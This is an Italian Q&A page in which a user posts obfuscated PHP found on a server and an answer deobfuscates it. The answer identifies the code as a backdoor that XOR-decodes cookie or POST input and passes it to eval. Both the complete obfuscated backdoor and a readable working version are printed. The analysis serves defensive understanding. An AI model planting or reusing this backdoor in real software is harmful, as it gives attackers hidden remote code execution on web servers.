Devo decodificare questo codice sospetto e spiegare cosa sta facendo? [duplicare]

-4
    $llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd';
    $spvgazs = Array();
    $spvgazs[] = $llkas[10].$llkas[15];
    $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$llkas[5].$llkas[19].$llkas[0].$llkas[25].$llkas[20].$llkas[14].$llkas[16].$llkas[0].$llkas[31].$llkas[24].$llkas[24].$llkas[16].$llkas[0].$llkas[19].$llkas[24].$llkas[21].$llkas[32].$llkas[0].$llkas[28].$llkas[24].$llkas[24].$llkas[21].$llkas[7].$llkas[17].$llkas[27].$llkas[27].$llkas[28].$llkas[28].$llkas[31].$llkas[35];
    $spvgazs[] = $llkas[3];
    $spvgazs[] = $llkas[20].$llkas[4].$llkas[13].$llkas[9].$llkas[1];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[12].$llkas[11].$llkas[14].$llkas[30].$llkas[14].$llkas[27].$llkas[1];
    $spvgazs[] = $llkas[14].$llkas[23].$llkas[30].$llkas[2].$llkas[4].$llkas[35].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[13].$llkas[17].$llkas[6].$llkas[1].$llkas[11];
    $spvgazs[] = $llkas[27].$llkas[11].$llkas[11].$llkas[27].$llkas[26].$llkas[12].$llkas[22].$llkas[14].$llkas[11].$llkas[34].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[2].$llkas[14].$llkas[9];
    $spvgazs[] = $llkas[30].$llkas[27].$llkas[20].$llkas[33];


    foreach ($spvgazs[7]( $_COOKIE, $_POST ) as $pxajrr => $aesghqe ){
        function lscwszf($spvgazs, $pxajrr, $hgfxl){
            return $spvgazs[6]($spvgazs[4]($pxajrr . $spvgazs[1], ($hgfxl / $spvgazs[8]($pxajrr)) + 1), 0, $hgfxl);
        }

        function rrxhm($spvgazs, $aaoyvhu){
            return @$spvgazs[9]($spvgazs[0], $aaoyvhu);
        }
        function hccqcjz($spvgazs, $aaoyvhu){$bgukyrk = $spvgazs[3]($aaoyvhu) % 3;
            if (!$bgukyrk) {eval($aaoyvhu[1]($aaoyvhu[2]));
                exit();
            }
        }

        $aesghqe = rrxhm($spvgazs, $aesghqe);
        hccqcjz($spvgazs, $spvgazs[5]($spvgazs[2], $aesghqe ^ lscwszf($spvgazs, $pxajrr, $spvgazs[8]($aesghqe))));
    }

non è una domanda duplicata di Come posso de-offuscare il codice? volevo che qualcuno mi spiegasse cosa fa questo codice? e quelli che continuano a contrassegnare questo come un duplicato shud prima leggono le risposte lì, che non spiegano nulla di ciò che voglio come risposta.

    
posta Amanz 27.03.2018 - 13:53
fonte

1 risposta

4

Il tuo codice è un po 'più leggibile:

//for external input...
foreach(array_merge($_COOKIE, $_POST) as $k => $v) { 

    //convert hex to normal text, no warning if not hex
    $v =  @pack('H*', $v);

    //do some crazy string modification which makes it possible that the direct input is not detectable as malware etc.
    //after this lines, it's real code (at least a part of it is)
    $v = $v ^ substr(str_repeat($k . '8822aa38-fce2-4992-8967-09961baa004d', (strlen($v) / strlen($k)) + 1), 0, strlen($v));

    //split the result into several lines
    $v = explode('#', $v);

    $cnt = count($v) % 3;
    if ($cnt == 0) {
        //only if the line count is a multiple of 3, eg. as safeguard to filter out input not from the attacker
        //(which is highly likely something else, after the processing before)

        //execute the function specified in line 2 with the parameter of line 3, ignore the other lines
        //line 2 can be eval too, so line 3 can be any code, which will be executed on the server.
        eval($v[1]($v[2]));
        exit();

    }
}

Come detto nei commenti, si tratta di malware. Più specifico, è una possibilità nascosta per qualcuno (umano o bot) di eseguire qualsiasi codice PHP personalizzato sul tuo server.
Qualcuno è riuscito a ottenere questo sul tuo server, e questo è il modo più semplice per tornare più tardi.

    
risposta data 27.03.2018 - 14:45
fonte

Leggi altre domande sui tag